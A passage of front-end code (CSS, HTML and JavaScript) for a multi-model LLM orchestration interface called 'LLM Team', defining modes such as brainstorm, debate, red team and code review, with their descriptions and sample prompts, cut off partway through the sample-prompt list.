.prog-metric .mv { font-family: 'JetBrains Mono', monospace; font-size: 14px; font-weight: 700; color: #f0abfc; line-height: 1; }
|
|
.prog-metric .ml { font-family: 'JetBrains Mono', monospace; font-size: 7px; text-transform: uppercase; letter-spacing: 1.5px; color: rgba(217,70,239,0.5); margin-top: 3px; }
|
|
.prog-metric.highlight .mv { color: #4ade80; }
|
|
.prog-metric.warn .mv { color: #f59e0b; }
|
|
.prog-metric.err .mv { color: #e05252; }
|
|
.phase-label { font-family: 'JetBrains Mono', monospace; font-size: 9px; text-transform: uppercase; letter-spacing: 2px; color: #4ade80; padding: 12px 0 6px; opacity: 0.8; display: flex; align-items: center; gap: 8px; }
|
|
.phase-label::before { content: ''; flex: 0 0 12px; height: 2px; background: #4ade80; opacity: 0.6; }
|
|
.phase-label::after { content: ''; flex: 1; height: 1px; background: linear-gradient(90deg, rgba(74,222,128,0.3), transparent); }
|
|
.sample-prompts { display: flex; flex-wrap: wrap; gap: 6px; margin: 8px 0; }
|
|
.sample-chip { background: rgba(0,0,0,0.3); border: 1px solid var(--border); border-radius: 2px; padding: 6px 12px; font-size: 11px; color: var(--text2); cursor: pointer; transition: all 0.15s; line-height: 1.4; max-width: 100%; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
|
.sample-chip:hover { border-color: var(--accent); color: var(--accent); background: var(--glow); }
|
|
.sample-chip .chip-level { font-size: 8px; font-weight: 700; text-transform: uppercase; margin-right: 6px; opacity: 0.5; font-family: 'JetBrains Mono', monospace; letter-spacing: 1px; }
|
|
.empty-state { text-align: center; padding: 80px 20px; color: var(--text2); }
|
|
.empty-state .icon { font-size: 32px; margin-bottom: 16px; opacity: 0.2; }
|
|
.empty-state p { font-size: 12px; line-height: 1.6; max-width: 280px; margin: 0 auto; font-family: 'JetBrains Mono', monospace; }
|
|
.empty-state p strong { color: var(--accent); font-weight: 600; }
|
|
.mode-desc { background: rgba(0,0,0,0.25); border-left: 2px solid var(--accent); border-radius: 0; padding: 10px 14px; font-size: 11px; color: var(--text2); margin-bottom: 14px; line-height: 1.5; font-family: 'JetBrains Mono', monospace; }
|
|
.left-scroll { max-height: calc(100vh - 72px); overflow-y: auto; display: flex; flex-direction: column; gap: 12px; }
|
|
.left-scroll::-webkit-scrollbar { width: 3px; }
|
|
.left-scroll::-webkit-scrollbar-track { background: transparent; }
|
|
.left-scroll::-webkit-scrollbar-thumb { background: rgba(226,181,90,0.15); border-radius: 0; }
|
|
.left-scroll::-webkit-scrollbar-thumb:hover { background: rgba(226,181,90,0.3); }
|
|
.output-card .card-body::-webkit-scrollbar { width: 3px; }
|
|
.output-card .card-body::-webkit-scrollbar-track { background: transparent; }
|
|
.output-card .card-body::-webkit-scrollbar-thumb { background: rgba(226,181,90,0.15); border-radius: 0; }
|
|
.m-toggle { display: none; }
|
|
.m-collapse { display: block !important; }
|
|
@media (max-width: 900px) { .grid { grid-template-columns: 1fr; } }
|
|
@media (max-width: 768px) { .m-toggle { display: flex; } .m-collapse { display: none !important; } .m-collapse.open { display: block !important; } }
|
|
.card-actions { display: flex; gap: 4px; padding: 6px 14px 10px; }
|
|
.card-act { background: none; border: 2px solid var(--border); border-radius: 2px; color: var(--text2); font-size: 9px; padding: 3px 10px; cursor: pointer; transition: all 0.15s; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; }
|
|
.card-act:hover { border-color: var(--accent); color: var(--accent); }
|
|
.card-act.copied { border-color: var(--green); color: var(--green); }
|
|
.repipe-overlay { position: fixed; inset: 0; background: rgba(0,0,0,0.75); z-index: 200; display: none; align-items: center; justify-content: center; backdrop-filter: blur(4px); }
|
|
.repipe-overlay.open { display: flex; }
|
|
.repipe-modal { background: rgba(14,16,22,0.95); border: 2px solid var(--border); border-radius: 2px; width: 700px; max-width: 90vw; max-height: 85vh; display: flex; flex-direction: column; overflow: hidden; backdrop-filter: blur(20px); }
|
|
.repipe-header { padding: 14px 18px; border-bottom: 2px solid var(--border); display: flex; align-items: center; gap: 10px; }
|
|
.repipe-header h3 { font-size: 14px; flex: 1; font-family: 'JetBrains Mono', monospace; }
|
|
.repipe-header .repipe-close { background: none; border: none; color: var(--text2); font-size: 18px; cursor: pointer; }
|
|
.repipe-body { padding: 14px 18px; overflow-y: auto; flex: 1; }
|
|
.repipe-text { background: rgba(0,0,0,0.4); border: 2px solid var(--border); border-radius: 2px; padding: 12px; font-size: 12px; line-height: 1.6; white-space: pre-wrap; max-height: 300px; overflow-y: auto; margin-bottom: 14px; color: var(--text); }
|
|
.repipe-text::-webkit-scrollbar { width: 3px; }
|
|
.repipe-text::-webkit-scrollbar-thumb { background: rgba(226,181,90,0.15); border-radius: 0; }
|
|
.repipe-actions { display: flex; flex-wrap: wrap; gap: 6px; margin-bottom: 14px; }
|
|
.repipe-btn { padding: 7px 14px; border: 2px solid var(--border); border-radius: 2px; background: transparent; color: var(--text); cursor: pointer; font-size: 11px; font-weight: 600; transition: all 0.15s; font-family: 'JetBrains Mono', monospace; }
|
|
.repipe-btn:hover { border-color: var(--accent); color: var(--accent); }
|
|
.repipe-btn.primary { background: var(--accent); border-color: var(--accent); color: #08090c; }
|
|
.repipe-btn.primary:hover { background: var(--accent2); }
|
|
.repipe-section { font-size: 9px; text-transform: uppercase; letter-spacing: 2px; color: var(--text2); margin: 12px 0 6px; font-weight: 600; font-family: 'JetBrains Mono', monospace; }
|
|
.repipe-modes { display: flex; flex-wrap: wrap; gap: 4px; }
|
|
.repipe-mode { padding: 5px 10px; border: 2px solid var(--border); border-radius: 2px; background: transparent; color: var(--text2); cursor: pointer; font-size: 11px; transition: all 0.15s; }
|
|
.repipe-mode:hover { border-color: var(--accent); color: var(--text); }
|
|
.repipe-mode.sel { border-color: var(--accent); background: var(--glow); color: var(--accent); }
|
|
.history-overlay { position: fixed; inset: 0; background: rgba(0,0,0,0.6); z-index: 90; display: none; backdrop-filter: blur(2px); }
|
|
.history-overlay.open { display: block; }
|
|
.history-panel { position: fixed; top: 0; right: 0; width: 480px; height: 100vh; background: rgba(14,16,22,0.95); border-left: 2px solid var(--border); z-index: 100; transform: translateX(100%); transition: transform 0.25s; overflow-y: auto; display: flex; flex-direction: column; backdrop-filter: blur(20px); }
|
|
.history-panel.open { transform: translateX(0); }
|
|
.history-panel::-webkit-scrollbar { width: 3px; }
|
|
.history-panel::-webkit-scrollbar-thumb { background: rgba(226,181,90,0.15); border-radius: 0; }
|
|
.hp-header { padding: 16px 18px; border-bottom: 2px solid var(--border); display: flex; align-items: center; gap: 10px; flex-shrink: 0; }
|
|
.hp-header h2 { font-size: 14px; font-weight: 700; flex: 1; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 1px; }
|
|
.hp-close { background: none; border: none; color: var(--text2); font-size: 20px; cursor: pointer; padding: 4px; }
|
|
.hp-close:hover { color: var(--text); }
|
|
.hp-list { flex: 1; overflow-y: auto; padding: 8px; }
|
|
.hp-item { background: rgba(0,0,0,0.25); border: 2px solid var(--border); border-radius: 2px; padding: 12px; margin-bottom: 6px; cursor: pointer; transition: border-color 0.15s; }
|
|
.hp-item:hover { border-color: var(--accent); }
|
|
.hp-item .hp-mode { font-size: 9px; text-transform: uppercase; letter-spacing: 1.5px; color: var(--accent); font-weight: 700; font-family: 'JetBrains Mono', monospace; }
|
|
.hp-item .hp-prompt { font-size: 13px; margin: 4px 0; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
|
|
.hp-item .hp-meta { font-size: 10px; color: var(--text2); display: flex; gap: 10px; font-family: 'JetBrains Mono', monospace; }
|
|
.hp-detail { padding: 12px 18px; }
|
|
.hp-detail .hp-back { background: none; border: none; color: var(--accent); cursor: pointer; font-size: 11px; margin-bottom: 10px; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 1px; }
|
|
.hp-detail .hp-actions { display: flex; gap: 6px; margin-bottom: 12px; }
|
|
.hp-detail .hp-btn { padding: 5px 12px; border: 2px solid var(--border); border-radius: 2px; background: transparent; color: var(--text); cursor: pointer; font-size: 10px; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; }
|
|
.hp-detail .hp-btn:hover { border-color: var(--accent); }
|
|
.hp-detail .hp-btn-del { border-color: var(--red); color: var(--red); }
|
|
.hp-resp { background: rgba(0,0,0,0.25); border: 2px solid var(--border); border-radius: 2px; margin-bottom: 6px; overflow: hidden; }
|
|
.hp-resp-header { padding: 8px 12px; border-bottom: 2px solid var(--border); font-size: 11px; font-weight: 600; display: flex; gap: 6px; align-items: center; font-family: 'JetBrains Mono', monospace; }
|
|
.hp-resp-body { padding: 10px 12px; font-size: 12px; line-height: 1.6; white-space: pre-wrap; max-height: 200px; overflow-y: auto; }
|
|
@media (max-width: 768px) {
|
|
.container { padding: 10px; }
|
|
header { padding: 10px 0; margin-bottom: 10px; flex-wrap: wrap; gap: 8px; }
|
|
header h1 { font-size: 16px; }
|
|
header .badge { font-size: 9px; padding: 3px 8px; }
|
|
header nav { gap: 3px; }
|
|
header nav a, header nav button, header nav span { font-size: 10px !important; padding: 3px 6px !important; }
|
|
.grid { grid-template-columns: 1fr; }
|
|
.grid > .left-scroll { order: 2; max-height: none; }
|
|
.grid > .panel:last-child { order: 1; }
|
|
.left-scroll { display: flex; flex-direction: column; gap: 8px; }
|
|
.left-scroll > .panel:first-child { order: 2; }
|
|
.left-scroll > .panel:last-child { order: 1; }
|
|
.m-toggle { display: flex; align-items: center; gap: 8px; padding: 10px; background: var(--surface); border: 2px solid var(--border); border-radius: 2px; cursor: pointer; margin-bottom: 8px; font-size: 12px; font-weight: 700; color: var(--accent); font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; backdrop-filter: blur(16px); }
|
|
.m-toggle::after { content: ''; margin-left: auto; width: 0; height: 0; border-left: 5px solid transparent; border-right: 5px solid transparent; border-top: 6px solid var(--text2); transition: transform 0.2s; }
|
|
.m-toggle.open::after { transform: rotate(180deg); }
|
|
.m-collapse { display: none; }
|
|
.m-collapse.open { display: block; }
|
|
.mode-grid { grid-template-columns: repeat(3, 1fr); gap: 4px; margin-bottom: 10px; }
|
|
.mode-tab { padding: 6px 3px; font-size: 10px; }
|
|
.mode-tab small { font-size: 7px; }
|
|
.model-card { padding: 6px 8px; }
|
|
.model-card .name { font-size: 11px; }
|
|
.prompt-area { min-height: 60px; font-size: 14px; }
|
|
.run-btn { padding: 14px; font-size: 14px; }
|
|
.output-card .card-body { font-size: 13px; max-height: 600px; }
|
|
.card-actions { flex-wrap: wrap; }
|
|
.panel { padding: 12px; }
|
|
.panel h2 { font-size: 9px; margin-bottom: 10px; }
|
|
.config-row { font-size: 11px; }
|
|
.config-row label { width: 70px; }
|
|
.mode-desc { font-size: 10px; padding: 6px 10px; }
|
|
.empty-state { padding: 40px 16px; }
|
|
.empty-state .icon { font-size: 24px; }
|
|
.history-panel { width: 100%; }
|
|
.repipe-modal { width: 95vw; }
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<canvas id="bg-grid"></canvas>
|
|
<div class="scanlines"></div>
|
|
<div class="vignette"></div>
|
|
<div class="container">
|
|
<header>
|
|
<h1><span>LLM</span> Team</h1>
|
|
<div class="badge" id="model-count"><span class="dot"></span>0 models</div>
|
|
<nav style="margin-left:auto;display:flex;align-items:center;gap:4px">
|
|
<a href="/history" style="color:var(--text2);text-decoration:none;font-size:10px;padding:5px 10px;border:2px solid var(--border);border-radius:2px;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px">History</a>
|
|
<a href="/lab" style="color:var(--green);text-decoration:none;font-size:10px;padding:5px 10px;border:2px solid rgba(74,222,128,0.2);border-radius:2px;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px">Lab</a>
|
|
<a href="/admin" style="color:var(--text2);text-decoration:none;font-size:10px;padding:5px 10px;border:2px solid var(--border);border-radius:2px;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px">Admin</a>
|
|
<span style="width:2px;height:16px;background:var(--border);margin:0 4px"></span>
|
|
<button id="demo-toggle" onclick="toggleDemo()" style="display:none;color:var(--orange);background:none;font-size:9px;padding:4px 8px;border:2px solid rgba(245,158,11,0.3);border-radius:2px;cursor:pointer;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px">Demo</button>
|
|
<a href="/logout" style="color:var(--text2);text-decoration:none;font-size:9px;padding:4px 8px;opacity:0.4;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px">Logout</a>
|
|
</nav>
|
|
</header>
|
|
<div class="grid">
|
|
<div class="left-scroll">
|
|
<div class="m-toggle" onclick="this.classList.toggle('open');document.getElementById('mode-collapse').classList.toggle('open')" id="mode-toggle">Mode: <span id="mode-label">Brainstorm</span></div>
|
|
<div class="m-collapse" id="mode-collapse">
|
|
<div class="panel">
|
|
<h2>Mode</h2>
|
|
<div class="mode-grid">
|
|
<div class="mode-tab active" data-mode="brainstorm" onclick="setMode('brainstorm')">Brainstorm<small>All + synthesize</small></div>
|
|
<div class="mode-tab" data-mode="pipeline" onclick="setMode('pipeline')">Pipeline<small>Chain sequence</small></div>
|
|
<div class="mode-tab" data-mode="debate" onclick="setMode('debate')">Debate<small>Argue + judge</small></div>
|
|
<div class="mode-tab" data-mode="validator" onclick="setMode('validator')">Validator<small>Fact-check</small></div>
|
|
<div class="mode-tab" data-mode="roundrobin" onclick="setMode('roundrobin')">Round Robin<small>Iterate improve</small></div>
|
|
<div class="mode-tab" data-mode="redteam" onclick="setMode('redteam')">Red Team<small>Attack + defend</small></div>
|
|
<div class="mode-tab" data-mode="consensus" onclick="setMode('consensus')">Consensus<small>Converge</small></div>
|
|
<div class="mode-tab" data-mode="codereview" onclick="setMode('codereview')">Code Review<small>Write+review+test</small></div>
|
|
<div class="mode-tab" data-mode="ladder" onclick="setMode('ladder')">ELI Ladder<small>5 levels</small></div>
|
|
<div class="mode-tab" data-mode="tournament" onclick="setMode('tournament')">Tournament<small>Compete + vote</small></div>
|
|
<div class="mode-tab" data-mode="evolution" onclick="setMode('evolution')">Evolution<small>Genetic algo</small></div>
|
|
<div class="mode-tab" data-mode="blindassembly" onclick="setMode('blindassembly')">Blind Assembly<small>Split + merge</small></div>
|
|
<div class="mode-tab" data-mode="staircase" onclick="setMode('staircase')">Staircase<small>Add constraints</small></div>
|
|
<div class="mode-tab" data-mode="drift" onclick="setMode('drift')">Drift Detect<small>Confidence map</small></div>
|
|
<div class="mode-tab" data-mode="mesh" onclick="setMode('mesh')">Perspective<small>Stakeholder 360</small></div>
|
|
<div class="mode-tab" data-mode="hallucination" onclick="setMode('hallucination')">Hallucinate?<small>Claim verify</small></div>
|
|
<div class="mode-tab crazy" data-mode="timeloop" onclick="setMode('timeloop')">Time Loop<small>Catastrophe fix!</small></div>
|
|
</div>
|
|
<div style="font-size:8px;text-transform:uppercase;letter-spacing:3px;color:var(--accent);margin:-8px 0 8px;opacity:0.5;font-family:'JetBrains Mono',monospace;font-weight:600">Autonomous Pipelines</div>
|
|
<div class="mode-grid" style="grid-template-columns:repeat(3,1fr);margin-bottom:16px">
|
|
<div class="mode-tab" data-mode="research" onclick="setMode('research')" style="border-color:var(--green);border-width:1px">Research<small>Auto brief</small></div>
|
|
<div class="mode-tab" data-mode="eval" onclick="setMode('eval')" style="border-color:var(--orange);border-width:1px">Model Eval<small>Benchmark</small></div>
|
|
<div class="mode-tab" data-mode="extract" onclick="setMode('extract')" style="border-color:var(--blue);border-width:1px">Knowledge<small>Extract facts</small></div>
|
|
</div>
|
|
<div class="mode-desc" id="mode-desc">All models answer in parallel, then one synthesizes the best parts into a final answer.</div>
|
|
|
|
<!-- BRAINSTORM -->
|
|
<div id="config-brainstorm" class="config-section">
|
|
<h2>Models</h2>
|
|
<div class="model-list" id="ml-brainstorm"></div>
|
|
<div class="config-row"><label>Synthesizer</label><select id="synthesizer"></select></div>
|
|
</div>
|
|
<!-- PIPELINE -->
|
|
<div id="config-pipeline" class="config-section" style="display:none">
|
|
<h2>Pipeline Steps</h2>
|
|
<div id="pipeline-steps"></div>
|
|
<button class="add-step-btn" onclick="addPipelineStep()">+ Add Step</button>
|
|
</div>
|
|
<!-- DEBATE -->
|
|
<div id="config-debate" class="config-section" style="display:none">
|
|
<h2>Setup</h2>
|
|
<div class="config-row"><label>Debater 1</label><select id="debater1"></select></div>
|
|
<div class="config-row"><label>Debater 2</label><select id="debater2"></select></div>
|
|
<div class="config-row"><label>Judge</label><select id="debate-judge"></select></div>
|
|
<div class="config-row"><label>Rounds</label><input type="number" id="debate-rounds" value="2" min="1" max="5" style="width:60px;flex:none"></div>
|
|
</div>
|
|
<!-- VALIDATOR -->
|
|
<div id="config-validator" class="config-section" style="display:none">
|
|
<h2>Setup</h2>
|
|
<div class="config-row"><label>Answerer</label><select id="validator-answerer"></select></div>
|
|
<h2 style="margin-top:12px">Validators</h2>
|
|
<div class="model-list" id="ml-validator"></div>
|
|
</div>
|
|
<!-- ROUND ROBIN -->
|
|
<div id="config-roundrobin" class="config-section" style="display:none">
|
|
<h2>Models</h2>
|
|
<div class="model-list" id="ml-roundrobin"></div>
|
|
<div class="config-row"><label>Cycles</label><input type="number" id="roundrobin-cycles" value="2" min="1" max="5" style="width:60px;flex:none"></div>
|
|
</div>
|
|
<!-- RED TEAM -->
|
|
<div id="config-redteam" class="config-section" style="display:none">
|
|
<h2>Setup</h2>
|
|
<div class="config-row"><label>Author</label><select id="redteam-author"></select></div>
|
|
<div class="config-row"><label>Attacker</label><select id="redteam-attacker"></select></div>
|
|
<div class="config-row"><label>Patcher</label><select id="redteam-patcher"></select></div>
|
|
<div class="config-row"><label>Rounds</label><input type="number" id="redteam-rounds" value="2" min="1" max="5" style="width:60px;flex:none"></div>
|
|
</div>
|
|
<!-- CONSENSUS -->
|
|
<div id="config-consensus" class="config-section" style="display:none">
|
|
<h2>Models</h2>
|
|
<div class="model-list" id="ml-consensus"></div>
|
|
<div class="config-row"><label>Max Rounds</label><input type="number" id="consensus-rounds" value="3" min="1" max="5" style="width:60px;flex:none"></div>
|
|
</div>
|
|
<!-- CODE REVIEW -->
|
|
<div id="config-codereview" class="config-section" style="display:none">
|
|
<h2>Setup</h2>
|
|
<div class="config-row"><label>Coder</label><select id="codereview-coder"></select></div>
|
|
<div class="config-row"><label>Reviewer</label><select id="codereview-reviewer"></select></div>
|
|
<div class="config-row"><label>Tester</label><select id="codereview-tester"></select></div>
|
|
</div>
|
|
<!-- LADDER -->
|
|
<div id="config-ladder" class="config-section" style="display:none">
|
|
<h2>Models (rotated across 5 levels)</h2>
|
|
<div class="model-list" id="ml-ladder"></div>
|
|
</div>
|
|
<!-- TOURNAMENT -->
|
|
<div id="config-tournament" class="config-section" style="display:none">
|
|
<h2>Competitors</h2>
|
|
<div class="model-list" id="ml-tournament"></div>
|
|
<div class="config-row"><label>Judge</label><select id="tournament-judge"></select></div>
|
|
</div>
|
|
<!-- EVOLUTION -->
|
|
<div id="config-evolution" class="config-section" style="display:none">
|
|
<h2>Gene Pool (models)</h2>
|
|
<div class="model-list" id="ml-evolution"></div>
|
|
<div class="config-row"><label>Generations</label><input type="number" id="evolution-gens" value="3" min="1" max="5" style="width:60px;flex:none"></div>
|
|
<div class="config-row"><label>Fitness Judge</label><select id="evolution-judge"></select></div>
|
|
</div>
|
|
<!-- BLIND ASSEMBLY -->
|
|
<div id="config-blindassembly" class="config-section" style="display:none">
|
|
<h2>Workers (each gets a sub-task)</h2>
|
|
<div class="model-list" id="ml-blindassembly"></div>
|
|
<div class="config-row"><label>Assembler</label><select id="blind-assembler"></select></div>
|
|
</div>
|
|
<!-- STAIRCASE -->
|
|
<div id="config-staircase" class="config-section" style="display:none">
|
|
<h2>Setup</h2>
|
|
<div class="config-row"><label>Answerer</label><select id="staircase-answerer"></select></div>
|
|
<div class="config-row"><label>Challenger</label><select id="staircase-challenger"></select></div>
|
|
<div class="config-row"><label>Steps</label><input type="number" id="staircase-steps" value="4" min="2" max="8" style="width:60px;flex:none"></div>
|
|
</div>
|
|
<!-- DRIFT -->
|
|
<div id="config-drift" class="config-section" style="display:none">
|
|
<h2>Setup</h2>
|
|
<div class="config-row"><label>Target Model</label><select id="drift-target"></select></div>
|
|
<div class="config-row"><label>Samples</label><input type="number" id="drift-samples" value="5" min="3" max="10" style="width:60px;flex:none"></div>
|
|
<div class="config-row"><label>Analyzer</label><select id="drift-analyzer"></select></div>
|
|
</div>
|
|
<!-- MESH -->
|
|
<div id="config-mesh" class="config-section" style="display:none">
|
|
<h2>Models (rotated across perspectives)</h2>
|
|
<div class="model-list" id="ml-mesh"></div>
|
|
<div class="config-row"><label>Synthesizer</label><select id="mesh-synthesizer"></select></div>
|
|
</div>
|
|
<!-- HALLUCINATION -->
|
|
<div id="config-hallucination" class="config-section" style="display:none">
|
|
<h2>Setup</h2>
|
|
<div class="config-row"><label>Answerer</label><select id="halluc-answerer"></select></div>
|
|
<h2 style="margin-top:12px">Hunters</h2>
|
|
<div class="model-list" id="ml-hallucination"></div>
|
|
</div>
|
|
<!-- TIME LOOP -->
|
|
<div id="config-timeloop" class="config-section" style="display:none">
|
|
<h2>Setup</h2>
|
|
<div class="config-row"><label>Answerer</label><select id="timeloop-answerer"></select></div>
|
|
<div class="config-row"><label>Chaos Agent</label><select id="timeloop-chaos"></select></div>
|
|
<div class="config-row"><label>Loops</label><input type="number" id="timeloop-loops" value="4" min="2" max="8" style="width:60px;flex:none"></div>
|
|
</div>
|
|
<!-- RESEARCH PIPELINE -->
|
|
<div id="config-research" class="config-section" style="display:none">
|
|
<h2>Research Pipeline</h2>
|
|
<div class="config-row"><label>Scout</label><select id="research-scout"></select></div>
|
|
<div class="config-row"><label>Researchers</label></div>
|
|
<div class="model-list" id="ml-research"></div>
|
|
<div class="config-row"><label>Fact-checker</label><select id="research-checker"></select></div>
|
|
<div class="config-row"><label>Synthesizer</label><select id="research-synth"></select></div>
|
|
<div class="config-row"><label>Questions</label><input type="number" id="research-questions" value="5" min="3" max="15" style="width:60px;flex:none"></div>
|
|
</div>
|
|
<!-- MODEL EVAL PIPELINE -->
|
|
<div id="config-eval" class="config-section" style="display:none">
|
|
<h2>Model Evaluation</h2>
|
|
<div class="model-list" id="ml-eval"></div>
|
|
<div class="config-row"><label>Judge</label><select id="eval-judge"></select></div>
|
|
<div class="config-row"><label>Eval Type</label><select id="eval-type">
|
|
<option value="general">General Knowledge</option>
|
|
<option value="reasoning">Reasoning</option>
|
|
<option value="coding">Coding</option>
|
|
<option value="creative">Creative Writing</option>
|
|
<option value="instruction">Instruction Following</option>
|
|
</select></div>
|
|
<div class="config-row"><label>Rounds</label><input type="number" id="eval-rounds" value="3" min="1" max="10" style="width:60px;flex:none"></div>
|
|
</div>
|
|
<!-- KNOWLEDGE EXTRACTION -->
|
|
<div id="config-extract" class="config-section" style="display:none">
|
|
<h2>Knowledge Extraction</h2>
|
|
<div class="config-row"><label>Extractor</label><select id="extract-model"></select></div>
|
|
<div class="config-row"><label>Verifier</label><select id="extract-verifier"></select></div>
|
|
<div class="config-row"><label>Source</label><select id="extract-source">
|
|
<option value="prompt">From Prompt Text</option>
|
|
<option value="ontology">ONTOLOGY.md</option>
|
|
<option value="index">INDEX.md</option>
|
|
<option value="summaries">SUMMARIES.md</option>
|
|
<option value="guides">GUIDES.md</option>
|
|
</select></div>
|
|
</div>
|
|
</div>
|
|
</div><!-- end m-collapse -->
|
|
<div class="panel">
|
|
<h2>Prompt</h2>
|
|
<textarea class="prompt-area" id="prompt" placeholder="What should your team work on?"></textarea>
|
|
<div class="sample-prompts" id="sample-prompts"></div>
|
|
<button class="run-btn" id="run-btn" onclick="runTeam()">Run Team</button>
|
|
</div>
|
|
</div>
|
|
<div class="panel">
|
|
<h2>Output</h2>
|
|
<div class="output-area" id="output">
|
|
<div class="empty-state"><div class="icon">◆ ◆ ◆</div><p>Select a <strong>mode</strong>, pick your <strong>models</strong>, and enter a prompt to run the team.</p></div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<script>
|
|
const COLORS = ['#6366f1','#22c55e','#f59e0b','#3b82f6','#ef4444','#ec4899','#14b8a6','#f97316'];
|
|
let availableModels = [];
|
|
let currentMode = 'brainstorm';
|
|
|
|
const modelSets = {};
|
|
const ML_IDS = ['ml-brainstorm','ml-validator','ml-roundrobin','ml-consensus','ml-ladder','ml-tournament','ml-evolution','ml-blindassembly','ml-mesh','ml-hallucination','ml-research','ml-eval'];
|
|
|
|
const MODE_DESCS = {
|
|
brainstorm: 'All models answer in parallel, then one synthesizes the best parts.',
|
|
pipeline: 'Chain models in sequence with custom instructions. Each builds on previous output.',
|
|
debate: 'Two models debate over rounds, a judge picks the stronger position.',
|
|
validator: 'One answers, multiple validators fact-check and score 1-10.',
|
|
roundrobin: 'Models take turns improving the answer over multiple cycles.',
|
|
redteam: 'Author writes, attacker finds flaws, patcher fixes. Repeats N rounds.',
|
|
consensus: 'All answer independently, then iterate seeing each other until they converge.',
|
|
codereview: 'Coder writes code, reviewer critiques, tester writes unit tests.',
|
|
ladder: 'Same question at 5 levels: 5yo, teenager, college, professional, PhD.',
|
|
tournament: 'All compete, judge ranks and refines the winner.',
|
|
evolution: 'Genetic algorithm! Models generate variations, fitness judge scores, best answers breed and mutate across generations.',
|
|
blindassembly: 'Question split into sub-parts. Each model answers ONLY their piece blind. An assembler stitches fragments into a coherent whole.',
|
|
staircase: "Devil's Staircase: answer the question, then each round a challenger adds a new constraint. Answerer must adapt to ALL accumulated constraints.",
|
|
drift: 'Same prompt sent to same model N times. Analyzer maps what is consistent (confident) vs. what varies (uncertain/hallucinated).',
|
|
mesh: 'Each model answers as a different stakeholder (CEO, engineer, user, regulator, competitor). One weaves a 360-degree view.',
|
|
hallucination: 'One answers, then hunters independently verify EACH factual claim. Cross-references to flag likely hallucinations.',
|
|
timeloop: 'CHAOS MODE: Model answers, then a Chaos Agent says "your answer caused a catastrophe!" and describes what went wrong. Answerer must fix it. But each fix causes a NEW catastrophe. Loop until bulletproof!',
|
|
research: 'AUTONOMOUS: Scout generates research questions, multiple models research in parallel, fact-checker verifies, synthesizer produces a structured brief. Full pipeline saved to DB.',
|
|
eval: 'AUTONOMOUS: Same prompts sent to all selected models. Judge scores each on accuracy, reasoning, clarity. Produces a ranked leaderboard across multiple rounds.',
|
|
extract: 'AUTONOMOUS: Extracts structured facts, entities, and relationships from text or local docs. Verifier cross-checks claims. Output saved as queryable JSON.'
|
|
};
|
|
|
|
const SAMPLE_PROMPTS = {
|
|
brainstorm: [
|
|
'What are practical ways a small town could become energy independent within 10 years?',
|
|
'Design a mentorship program that pairs retired professionals with first-generation college students — cover matching criteria, structure, and how to measure success.',
|
|
'A hospital wants to reduce ER wait times by 40% without hiring more staff. Propose a comprehensive strategy covering triage redesign, technology, patient flow, and communication.'
|
|
],
|
|
pipeline: [
|
|
'Write a short fable about a fox who learns patience, then translate it to Spanish, then analyze the cultural differences in how the moral lands.',
|
|
'Take this business idea — "AI-powered meal planning for people with multiple food allergies" — and first do market analysis, then write a pitch deck outline, then draft the cold email to investors.',
|
|
'Research the history of cryptography, identify the 3 most pivotal breakthroughs, explain how each one would have changed the outcome of a specific historical conflict, then write a short alternate-history scenario for the most dramatic one.'
|
|
],
|
|
debate: [
|
|
'Should cities ban cars from downtown areas?',
|
|
'Is it more ethical for AI companies to open-source their models or keep them proprietary? Consider safety, innovation, equity, and economic factors.',
|
|
'A nation discovers a high-yield asteroid mining opportunity, but the mission would consume their entire science budget for 5 years, halting medical research, climate science, and education programs. Should they go?'
|
|
],
|
|
validator: [
|
|
'The Great Wall of China is the only man-made structure visible from space.',
|
|
'Exposure to cold weather causes colds, sugar causes hyperactivity in children, and we only use 10% of our brains. Also, lightning never strikes the same place twice and goldfish have a 3-second memory.',
|
|
'The 2008 financial crisis was primarily caused by the Community Reinvestment Act forcing banks to give mortgages to unqualified buyers. Glass-Steagall repeal had minimal impact, and credit default swaps were a minor factor. The crisis was largely confined to the US housing market.'
|
|
],
|
|
roundrobin: [
|
|
'Write an opening paragraph for a mystery novel set in a lighthouse.',
|
|
'Draft a product requirements document for a mobile app that helps people split household chores fairly among roommates. Each iteration should add depth to a different section.',
|
|
'Create a comprehensive disaster recovery plan for a mid-size SaaS company. Cover data backup, infrastructure failover, communication protocols, compliance requirements, and testing schedules.'
|
|
],
|
|
redteam: [
|
|
'Here is our password policy: minimum 8 characters, must include a number. Find the weaknesses.',
|
|
'Our startup plans to store user health data in a Firebase Realtime Database with client-side security rules. The mobile app sends JWT tokens directly from the client. Identify every attack vector.',
|
|
'We are building an AI hiring tool that screens resumes, scores candidates 1-100, and auto-rejects below 60. It was trained on our last 5 years of successful hires. The system also parses social media for culture fit. Red team this for bias, legal risk, and adversarial attacks.'
|
|
],
|
|
consensus: [
|
|
'What is the single most important skill for a new software developer to learn first?',
|
|
'A company has $500K to invest in employee development. Should they spend it on individual training budgets, a company-wide mentorship program, sending teams to conferences, or building an internal learning platform?',
|
|
'How should a democratic society balance free speech with protection from misinformation, considering platform responsibility, individual rights, government regulation, and algorithmic amplification?'
|
|
],
|
|
codereview: [
|
|
'Write a Python function that finds all anagrams in a list of words.',
|
|
'Build a rate limiter middleware for Express.js that supports per-user limits, sliding windows, and graceful degradation when Redis is unavailable.',
|
|
'Implement a concurrent-safe LRU cache in Go with TTL expiration, size-based eviction, hit/miss metrics, and a write-behind buffer that batches persistence to disk.'
|
|
],
|
|
ladder: [
|
|
'How does encryption work?',
|
|
'Why do economies go through boom and bust cycles? Cover from basic intuition through monetary policy, credit cycles, behavioral economics, and systemic risk modeling.',
|
|
